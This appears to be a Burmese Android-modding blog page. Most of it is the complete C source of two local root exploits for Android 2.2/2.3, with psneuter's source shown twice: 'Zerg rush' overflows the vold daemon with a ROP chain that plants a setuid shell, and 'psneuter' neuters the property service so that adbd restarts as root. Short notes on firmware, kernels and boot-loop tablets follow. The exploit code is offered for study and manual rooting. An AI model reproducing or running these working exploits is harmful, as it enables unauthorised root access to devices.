#include <dlfcn.h>
#include <sys/system_properties.h>
#include <cutils/sockets.h>
#include <private/android_filesystem_config.h>
static pid_t logcat_pid = 0;
static char *sh = "/data/local/tmp/sh";
static char *bsh = "/data/local/tmp/boomsh";
static char *crashlog = "/data/local/tmp/crashlog";
static char *vold = "/system/bin/vold";
uint32_t heap_addr;
uint32_t libc_base;
uint32_t heap_base_addr;
uint32_t heap_offset;
uint32_t r9 = 0, r10 = 0, fp = 0;
uint32_t stack_addr = 0x41414141;
uint32_t system_ptr = 0;
uint32_t stack_pivot = 0x41414141;
uint32_t pop_r0 = 0x41414141;
uint32_t jumpsz = 0;
uint32_t gadget_jumpsz = 108;
uint32_t buffsz = 0;
uint32_t allbuffsz[] = {16,24,0};
uint8_t adjust = 0;
uint8_t samsung = 0;
extern char **environ;
static void die(const char *msg)
{
perror(msg);
exit(errno);
}
static int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;
if ((fd1 = open(from, O_RDONLY)) < 0)
return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}
close(fd1);
close(fd2);
sync(); sync();
return r;
}
static int remount_data(const char *mntpoint)
{
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;
if ((f = fopen("/proc/mounts", "r")) == NULL)
return -1;
memset(buf, 0, sizeof(buf));
for (;!feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found)
return -1;
if ((dev = strtok(buf, " \t")) == NULL)
return -1;
if (strtok(NULL, " \t") == NULL)
return -1;
if ((fstype = strtok(NULL, " \t")) == NULL)
return -1;
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}
static void *find_symbol(char *sym)
{
void *r = NULL;
void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW);
if (!dlh)
die("[-] dlopen");
if ((r = (void *)dlsym(dlh, sym)) == NULL)
die("[-] dlsym");
dlclose(dlh);
return r;
}
static int bad_byte(uint8_t byte)
{
switch(byte) {
case 0x20:
case 0x22:
case 0x5c:
case 0x00:
return 1;
break;
default:
break;
}
return 0;
}
static void heap_oracle() {
char ok = 1;
if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000))
heap_addr = r9 + 0x70;
else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000))
heap_addr = r10 + 0x70;
else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000))
heap_addr = fp + 0x70;
else
ok = 0;
while(bad_byte(heap_addr&0xff)) heap_addr += 0x20;
if(ok)
printf("[+] Overseer found a path ! 0x%08x\n", heap_addr);
else {
printf("[-] No path found, let's hope ...\n");
heap_addr = heap_base_addr + heap_offset;
}
}
static int check_addr(uint32_t addr)
{
/*
* Check if address contains one of the forbidden bytes
*/
int i = 0;
for(i=0; i<32; i+=8)
if(bad_byte((addr>>i) & 0xff))
return -1;
return 0;
}
static int do_fault()
{
char buf[255];
int sock = -1, n = 0, i;
char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
uint32_t bsh_addr;
char padding[128];
int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
if(samsung) {
printf("[*] Sleeping a bit (~40s)...\n");
sleep(40);
printf("[*] Waking !\n");
}
memset(padding, 0, 128);
strcpy(padding, "LORDZZZZzzzz");
if(padding_sz > 0) {
memset(padding+12, 'Z', padding_sz);
printf("[*] Popping %d more zerglings\n", padding_sz);
}
else if(padding_sz < 0) {
memset(padding, 0, 128);
memset(padding, 'Z', 12+padding_sz);
}
if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
die("[-] Error creating Nydus");
sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);
if(adjust)
strcpy(buf, "ZERGZERG");
else
strcpy(buf, "ZERG");
strcat(buf, " ZZ ");
strcat(buf, s_stack_pivot_addr);
for(i=3; i < buffsz+1; i++)
strcat(buf, " ZZZZ");
strcat(buf, " ");
strcat(buf, s_heap_addr);
n = strlen(buf);
bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
if(check_addr(bsh_addr) == -1) {
printf("[-] Colossus, we're doomed!\n");
exit(-1);
}
sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);
n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);
printf("[*] Sending %d zerglings ...\n", n);
if ((n = write(sock, buf, n+1)) < 0)
die("[-] Nydus seems broken");
sleep(3);
close(sock);
return n;
}
static int find_rop_gadgets()
{
/*
* add sp, #108 -> b01b
* pop {r4, r5, r6, r7, pc} -> bdf0
*
* pop {r0, pc} -> bd01
*/
int fd;
char r[2], d[2];
int n = 2;
int bad = 0;
if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1)
die("[-] open");
lseek(fd, 0x10000, SEEK_SET);
while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) {
n = read(fd, r, 2);
switch(r[0]) {
case '\x1b':
if(stack_pivot == 0x41414141) {
if(r[1] == '\xb0') {
n = read(fd, d, 2);
if(d[0] == '\xf0' && d[1] == '\xbd') {
stack_pivot = libc_base + lseek(fd, 0, SEEK_CUR) - 4 + 1;
if(check_addr(stack_pivot) == -1)
stack_pivot = 0x41414141;
}
}
}
break;
case '\x01':
if(pop_r0 == 0x41414141) {
if(r[1] == '\xbd') {
pop_r0 = libc_base + lseek(fd, 0, SEEK_CUR) - 2 + 1;
if(check_addr(pop_r0) == -1)
pop_r0 = 0x41414141;
}
}
break;
default:
break;
}
}
if (stack_pivot == 0x41414141) {
printf("[-] You need more minerals !\n");
bad = -1;
}
if (pop_r0 == 0x41414141) {
printf("[-] You need more vespene gas !\n");
bad = -1;
}
if(bad == -1)
exit(-1);
return 0;
}
static uint32_t checkcrash()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
system("/system/bin/logcat -c");
unlink(crashlog);
if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);
if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " sp ")) != NULL)
ret = 1;
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);
return ret;
}
static uint32_t check_libc_base()
{
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
int ret=0;
uint32_t spotted_base = 0;
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " /system/lib/libc.so")) != NULL) {
ptr -= 8;
spotted_base = strtoul(ptr, NULL, 16) & 0xfff00000;
if(spotted_base && spotted_base != libc_base) {
libc_base = spotted_base;
ret = 1;
}
}
} while (!feof(f) && !spotted_base);
pos = ftell(f);
fclose(f);
return ret;
}
static uint32_t find_stack_addr()
{
uint32_t fault_addr = 0;
char buf[1024], *ptr = NULL;
FILE *f = NULL;
long pos = 0;
uint32_t sp=0, over=0;
system("/system/bin/logcat -c");
unlink(crashlog);
if ((logcat_pid = fork()) == 0) {
char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL};
execve(*a, a, environ);
exit(1);
}
sleep(3);
if (do_fault() < 0)
die("[-] Zerglings did not cause crash");
/* Give logcat time to write to file
*/
sleep(3);
if ((f = fopen(crashlog, "r")) == NULL)
die("[-] Zerglings did not leave stuff at all");
fseek(f, pos, SEEK_SET);
do {
memset(buf, 0, sizeof(buf));
if (!fgets(buf, sizeof(buf), f))
break;
if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) {
ptr -= 8;
stack_addr = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) {
ptr -= 8;
over = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " sp ")) != NULL && !sp) {
ptr += 5;
sp = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " r9 ")) != NULL) {
ptr += 5;
r9 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " 10 ")) != NULL) {
ptr += 5;
r10 = (uint32_t)strtoul(ptr, NULL, 16);
}
if ((ptr = strstr(buf, " fp ")) != NULL) {
ptr += 5;
fp = (uint32_t)strtoul(ptr, NULL, 16);
}
} while (!feof(f));
pos = ftell(f);
fclose(f);
if(over && sp)
jumpsz = over - sp;
return stack_addr;
}
static void do_root()
{
remount_data("/data");
chown(sh, 0, 0);
chmod(sh, 04711);
property_set("ro.kernel.qemu","1");
exit(0);
}
int main(int argc, char **argv, char **env)
{
uint32_t i = 0, ok = 0;
char *ash[] = {sh, 0};
struct stat st;
char version_release[1024];
int tries=0;
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
do_root();
printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n");
printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n");
printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n");
if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0)
die("[-] Cannot copy boomsh.");
chmod(bsh, 0711);
stat(vold, &st);
heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000;
__system_property_get("ro.build.version.release", version_release);
if (strstr(version_release, "2.2")) {
heap_offset = 0x108;
printf("[+] Found a Froyo ! 0x%08x\n", heap_offset);
} else if (strstr(version_release, "2.3")) {
heap_offset = 0x118;
printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset);
} else {
printf("[-] Not a 2.2/2.3 Android ...\n");
exit(-1);
}
heap_addr = 0xffffff;
__system_property_get("ro.build.fingerprint", version_release);
if(!strncmp(version_release, "samsung", 7)) {
printf("[+] Found a Samsung, running Samsung mode\n");
samsung = 1;
}
system_ptr = (uint32_t) find_symbol("system");
libc_base = system_ptr & 0xfff00000;
if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}
tries = 0;
printf("[*] Scooting ...\n");
while(buffsz=allbuffsz[tries]) {
if(checkcrash()) {
printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz);
break;
}
tries++;
}
if(!buffsz) {
printf("[-] Hellions with BLUE flames !\n");
exit(-1);
}
for (tries = 0; tries < 2; tries++) {
heap_oracle();
find_stack_addr();
if (stack_addr != 0x41414141 && jumpsz) {
printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz);
break;
}
}
if (stack_addr == 0x41414141 || !jumpsz) {
printf("[-] Zerglings did not leave interesting stuff\n");
exit(-1);
}
if (check_addr(stack_addr) == -1) {
if(bad_byte(stack_addr & 0xff)) {
stack_addr += 4;
adjust = 4;
if (check_addr(stack_addr) == -1) {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}
else {
printf("[-] Siege tanks, we're doomed!\n");
exit(-1);
}
}
if (jumpsz > 108 + 12) {
printf("[-] This terran has walled!\n");
exit(-1);
}
if(check_libc_base()) {
system_ptr = libc_base + (system_ptr & 0x000fffff);
printf("[*] Creating more creep 0x%08x ...\n", system_ptr);
if (check_addr(system_ptr) == -1) {
printf("[-] High templars, we're doomed!\n");
exit(-1);
}
}
kill(logcat_pid, SIGKILL);
unlink(crashlog);
printf("[*] Researching Metabolic Boost ...\n");
find_rop_gadgets();
printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0);
do_fault();
stat(sh, &st);
if ((st.st_mode & 04000) == 04000) {
char qemuprop[1];
printf("\n[+] Rush did it ! It's a GG, man !\n");
property_get("ro.kernel.qemu",qemuprop,"0");
if (qemuprop[0]=='1') {
printf("[+] Killing ADB and restarting as root... enjoy!\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
} else {
printf("[-] Failed to set property to restart adb. Not killing.\n");
}
} else {
printf("\n[-] Bad luck, our rush did not succeed :(\n");
fflush(stdout);
sleep(1);
kill(-1, SIGTERM);
}
return 0;
}

ဒီ source ေလးကလည္း root လုပ္တဲ့ေနရာမွာသံုးတဲ့ psneuter ရဲ႕ C language Source ပါ

xxxxxxxxxxxxx
// psneuter.c, written by scotty2.
// neuter the android property service.
// ashmem allows us to restrict permissions for a page further, but not relax them.
// adb relies on the ability to read ro.secure to know whether to drop its privileges or not;
// if it can't read the ro.secure property (because perhaps it couldn't map the ashmem page... smile emoticon
// then it will come up as root under the assumption that ro.secure is off.
// this will have the unfortunate side effect of rendering any of the bionic userspace that relies on the property
// service and things like dns broken.
// thus, we will want to use this, see if we can fix the misc partition, and downgrade the firmware as a whole to something more root friendly.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <stdint.h>
#define ASHMEM_NAME_LEN 256
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
int main(int argc, char **argv, char **envp)
{
char *workspace;
char *fdStr;
char *szStr;
char *ppage;
int fd;
long sz;
DIR *dir;
struct dirent *dent;
char cmdlinefile[PATH_MAX];
char cmdline[PATH_MAX];
pid_t adbdpid = 0;
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
workspace = getenv("ANDROID_PROPERTY_WORKSPACE");
if(!workspace)
{
fprintf(stderr, "Couldn't get workspace.\n");
exit(1);
}
fdStr = workspace;
if(strstr(workspace, ","))
*(strstr(workspace, ",")) = 0;
else
{
fprintf(stderr, "Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
exit(1);
}
szStr = fdStr + strlen(fdStr) + 1;
fd = atoi(fdStr);
sz = atol(szStr);
if((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
{
fprintf(stderr, "mmap() failed. %s\n", strerror(errno));
exit(1);
}
if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0))
{
fprintf(stderr, "Failed to set prot mask (%s)\n", strerror(errno));
exit(1);
}
printf("property service neutered.\n");
printf("killing adbd. (should restart in a second or two)\n");
// now kill adbd.
dir = opendir("/proc");
if(!dir)
{
fprintf(stderr, "Failed to open /proc? kill adbd manually... somehow\n");
exit(1);
}
while((dent = readdir(dir)))
{
if(strspn(dent->d_name, "0123456789") == strlen(dent->d_name))
{
// pid dir
strcpy(cmdlinefile, "/proc/");
strcat(cmdlinefile, dent->d_name);
strcat(cmdlinefile, "/cmdline");
if((fd = open(cmdlinefile, O_RDONLY)) < 0)
{
fprintf(stderr, "Failed to open cmdline for pid %s\n", dent->d_name);
continue;
}
if(read(fd, cmdline, PATH_MAX) < 0)
{
fprintf(stderr, "Failed to read cmdline for pid %s\n", dent->d_name);
close(fd);
continue;
}
close(fd);
// printf("cmdline: %s\n", cmdline);
if(!strcmp(cmdline, "/sbin/adbd"))
{
// we got it.
adbdpid = atoi(dent->d_name);
break;
}
}
}
if(!adbdpid)
{
fprintf(stderr, "Failed to find adbd pid :(\n");
exit(1);
}
if(kill(adbdpid, SIGTERM))
{
fprintf(stderr, "Failed to kill adbd (%s)\n", strerror(errno));
exit(1);
}
return 0;
}

"Android ROM Developer Beginner တစ္ေယာက္အေနျဖင့္ နားလည္မႈ႕၊ အေခၚအေ၀ၚမလြဲသင့္ေသာ အေၾကာင္းအရာမ်ား"

OS နဲ႕ Firmware ခြဲျခားႏိုင္ရပါမယ္။ Kernel နဲ႕ OS ခြဲျခားနားလည္ရပါ့မယ္။
OS ဆိုတာ အလြယ္ေခၚရရင္ Operating System တစ္ခုပါ။ ဘယ္မွာရွိသလဲဆိုရင္ /System ပါဘဲ။
Firmware ဆိုတာကေတာ့ စက္တစ္လံုးရဲ႕ Hardware Spec; ေတြစုစည္းၿပီး လိုအပ္တဲ့ hardware Support ေတြ (ဥပမာ - voltage ေတြက အစ ထိန္းခ်ဳပ္အလုပ္လုပ္ေစၿပီး RAM ေတြ CPU ေတြကိုပါ Control လုပ္တယ္) ထိန္းခ်ဳပ္အလုပ္လုပ္ေစတဲ့အပိုင္းပါ။ Firmware မွာကိုက ႏွစ္မ်ဳိးရွိတယ္။ OS ကေန ထိန္းတဲ့ Firmware နဲ႕ hardware ကေနထိန္းတဲ့ Firmware ပါ။ OS ကေန ထိန္းလို႔ရတဲ့ firmware ကေတာ့ kernel ထဲမွာပါ၀င္ပါတယ္။ Hardware ကေနထိန္းတဲ့ firmware ကေတာ့ CPU IC ထဲမွာထည့္သြင္းထားပါတယ္။ အလြယ္ျမင္ႏိုင္ဖု႔ိေျပာရရင္ ကြန္ပ်ဴတာမွာဆို BIOS က hardware ထဲမွာ ထည့္သြင္းထားတဲ့ firmware ပါ။
ေနာက္တစ္က Kernel ပါ။ Kernel ဆိုတာကေတာ့ အလြယ္ဥပမာႏိႈင္းရရင္ ၾကက္ဥအႏွစ္လိုေပါ့ဗ်ာ။ သူမရွိဘဲ ဘယ္လို OS မွ အလုပ္မလုပ္ပါဘူး... hardware နဲ႕ OS ကို ခ်ိတ္ဆက္ေပးတဲ့အျပင္ OS အတြက္လိုအပ္တဲ့အေရးႀကီးအခ်က္အလက္ေတြကို မထိခိုက္ေအာင္ ကာကြယ္ေပးထားတယ္။
ဒါဆို Android version ျမင့္မယ္ဆိုရင္ အထက္ပါေတြ အကုန္ျမွင့္လို္က္ဖို႔ လိုသလားဆိုတာ ေမးစရာျဖစ္လာတယ္။ ဒီအေျဖအတြက္ေတာ့ Developer ရဲ႕ Develop လုပ္တဲ့အေပၚမူတည္ပါတယ္။ ေသခ်ာတာတစ္ခုကေတာ့ Firmware ေတြကို ေျပာင္းဖို႔လံုး၀ မလိုအပ္ပါဘူး တစ္ခ်ဳိ႕ေတြက Kernel ကိုပါ ေျပာင္းလဲၿပီး develop လုပ္ၾကသလို တစ္ခ်ဳိ႕က်ေတာ့လည္း OS ခ်ည္းဘဲ update လုပ္တဲ့ development ေတြရွိပါတယ္။ ယေန႔ android hardware ေလာကမွာ လိုက္လို႔မႏိုင္ေလာင္ေအာင္ကို မ်ားျပားလြန္းတဲ့ Device ေတြေပၚထြက္လာတာေၾကာင့္ Device တုိင္းနဲ႕ကိုက္ညီမဲ့ Android version ေတြ Develop လုပ္ဖို႔အတြက္က မျဖစ္ႏိုင္ေတာ့တာေၾကာင့္ General အေနနဲ႕သံုးလို႔ရမယ့္ kernel ေတြအျဖစ္ ျပဳျပင္ Develop လုပ္ၾကပါတယ္။ ဒီေတာ့ ဘာေတြျဖစ္လာသလဲဆုိေတာ့ မိမိစက္နဲ႕ မကိုက္ညီေတာ့တဲ့အခါမွာ wifi ေတြမရတာ bluetooth ေတြ ေပ်ာက္ေနတာကအစ network ေတြ ရွာမေတြတာတို႔ကေန စက္တစ္လံုးလံုး ေသသလိုျဖစ္သြားသည္အထိျဖစ္ႏိုင္ပါတယ္။
ျဖစ္ႏိုင္မယ္ဆိုရင္ေတာ့ မိမိ kernel နဲ႕ တူညီတဲ့ ROM ကိုရွာၿပီး update လုပ္တာ အေကာင္းဆံုးနဲ႕ error အနည္းဆံုးျဖစ္ပါလိမ့္မယ္။
ေနာက္အပိုင္းေတြမွာ ယေန႔လြဲမွားေခၚေ၀ၚေနတာေတြကို က်ေနာ္တို႔ Develop လုပ္မယ့္သူေတြအေနနဲ႕ မမွားရေအာင္ ဆက္လက္တင္ျပသြားပါ့မယ္။
၀င္ေရာက္ေလ့လာဖတ္ရႈတဲ့အတြက္ ေက်းဇူးအထူးတင္ရွိပါေၾကာင္း

android 2.3 series ေတြကို root လုပ္တဲ့အခါမွာ သံုးေလ့ရွိတဲ့ exploit ဖိုင္တစ္ခုျဖစ္တဲ့ psneuter ရဲ႕ source code

android 2.3 series ေတြကို root လုပ္တဲ့အခါမွာ သံုးေလ့ရွိတဲ့ exploit ဖိုင္တစ္ခုျဖစ္တဲ့ psneuter ရဲ႕ source code ပါ... ဒီ source ကိုေလ့လာၾကည့္ရင္ manual root ကို ဘယ္လို လုပ္လို႔ရမယ္ဆိုတာ သိသြားပါလိမ့္မယ္... 2.3 ေတြအတြက္ဘဲဆိုေပမဲ့ သေဘာတရားျခင္းတူတဲ့အတြက္ေၾကာင့္မို႔... တစ္ခ်ဳိ႕ေသာ partition ေတြကို ျပင္ဆင္လိုက္တာနဲ႕ က်န္တဲ့ version ေတြကို ရသြားပါလိမ့္မယ္... တစ္ခုေတာ့ရွိတယ္... android kernel ရဲ႕ ဖြဲ႕စည္းပံုကိုေတာ့ မျဖစ္မေနသိထားဖို႔လိုပါတယ္... Google မွာ ရွာရင္ေတာ့ ရႏိုင္ပါတယ္... သို႔ေပမဲ့ အေတာ္ေလးစိတ္ရွည္မွျဖစ္လိမ့္မယ္... ဘာလို႔လည္းဆိုေတာ့... ကိုုယ္ရွာတာနဲ႕ မဆိုင္တာေတြ အမ်ားႀကီးေတြ႕တတ္တယ္... ေနာက္ၿပီး ေတြ႔ေတာ့လည္း ဘာမွန္းမသိတာေတြျဖစ္တတ္တယ္... code ေတြကို ေလ့လာၾကည့္ၾကပါ...
xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <linux/ioctl.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <dirent.h>
#include <stdint.h>
#define ASHMEM_NAME_LEN 256
#define __ASHMEMIOC 0x77
#define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN])
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)
#define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4)
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)
#define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6)
#define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin)
#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)
#define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9)
#define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10)
int main(int argc, char **argv, char **envp)
{
char *workspace;
char *fdStr;
char *szStr;
char *ppage;
int fd;
long sz;
DIR *dir;
struct dirent *dent;
char cmdlinefile[PATH_MAX];
char cmdline[PATH_MAX];
pid_t adbdpid = 0;
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
workspace = getenv("ANDROID_PROPERTY_WORKSPACE");
if(!workspace)
{
fprintf(stderr, "Couldn't get workspace.\n");
exit(1);
}
fdStr = workspace;
if(strstr(workspace, ","))
*(strstr(workspace, ",")) = 0;
else
{
fprintf(stderr, "Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n");
exit(1);
}
szStr = fdStr + strlen(fdStr) + 1;
fd = atoi(fdStr);
sz = atol(szStr);
if((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED)
{
fprintf(stderr, "mmap() failed. %s\n", strerror(errno));
exit(1);
}
if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0))
{
fprintf(stderr, "Failed to set prot mask (%s)\n", strerror(errno));
exit(1);
}
printf("property service neutered.\n");
printf("killing adbd. (should restart in a second or two)\n");
// now kill adbd.
dir = opendir("/proc");
if(!dir)
{
fprintf(stderr, "Failed to open /proc? kill adbd manually... somehow\n");
exit(1);
}
while((dent = readdir(dir)))
{
if(strspn(dent->d_name, "0123456789") == strlen(dent->d_name))
{
// pid dir
strcpy(cmdlinefile, "/proc/");
strcat(cmdlinefile, dent->d_name);
strcat(cmdlinefile, "/cmdline");
if((fd = open(cmdlinefile, O_RDONLY)) < 0)
{
fprintf(stderr, "Failed to open cmdline for pid %s\n", dent->d_name);
continue;
}
if(read(fd, cmdline, PATH_MAX) < 0)
{
fprintf(stderr, "Failed to read cmdline for pid %s\n", dent->d_name);
close(fd);
continue;
}
close(fd);
// printf("cmdline: %s\n", cmdline);
if(!strcmp(cmdline, "/sbin/adbd"))
{
// we got it.
adbdpid = atoi(dent->d_name);
break;
}
}
}
if(!adbdpid)
{
fprintf(stderr, "Failed to find adbd pid :(\n");
exit(1);
}
if(kill(adbdpid, SIGTERM))
{
fprintf(stderr, "Failed to kill adbd (%s)\n", strerror(errno));
exit(1);
}
return 0;
}

China Tablet အေတာ္မ်ားမ်ား boot logo မွာတင္ လည္ေနတဲ့ ျပႆနာ ႀကံဳေနရင္

China Tablet အေတာ္မ်ားမ်ား boot logo မွာတင္ လည္ေနတဲ့ ျပႆနာ ႀကံဳေနရတယ္... ဟုတ္တယ္ဟုတ္ အဲဒါ ဘာေၾကာင့္လည္းဆိုတာ က်ေနာ္ ေတြ႔ရွိသေလာက္ ေျပာျပမယ္ေနာ္...
(၁) Tablet ေတြသံုးထားတဲ့ CPU ေတြက Allwinner လို႕ေခၚတဲ့ MPU အမ်ဳိးအစားတစ္ခုပါ.. A10 ရယ္ A13 ရယ္ အမ်ားဆံုးသံုးတဲ့ အမ်ဳိးအစားေတြ... ျမန္မာျပည္ကို ၀င္တာမ်ားတယ္... အဲဒီ့ CPU က ဘာျဖစ္လည္းဆိုေတာ့ သူ႕မွာ cache management မေကာင္းဘူး... ေျပာရရင္ Memory Management Process က စြမ္းေဆာင္ရည္သိပ္မေကာင္းဘူးလုိ႕ဆိုရမယ္... ဒဲ့ေျပာရရင္ သာမာန္ MP4 ေတြမွာသံုးတဲ့ sunplus chip အဆင့္ဘဲရွိတယ္... ဒါေပမဲ့ core ႏွစ္ခုပါတဲ့အတြက္ အလုပ္လုပ္ပုံ သြက္တယ္... cache မႏိုင္တာကလြဲလို႕ က်န္တဲ့အပိုင္းေတြမွာ အဆင္ေျပတယ္... ဒါက chipset ပိုင္း
(၂) RAM အျဖစ္သံုးထားတာကိုၾကည့္မယ္ဆိုရင္လည္း quality ram မဟုတ္ဘူး... DDR အဆင့္ေတြဘဲသံုးထားတာေတြ႔ရတယ္... CPU က support ေပးႏုိင္တာလည္း DDR ဘဲေပးႏိုင္တာေၾကာင့္လည္းပါတယ္... ဒီေတာ့ ဘာျဖစ္လည္းဆိုေတာ့ DDR ရဲ႔ rate အရ cache storage ပိုင္းမွာ ထိမ္းသိမ္းႏုိင္မွဳ႕မရွိဘူး...
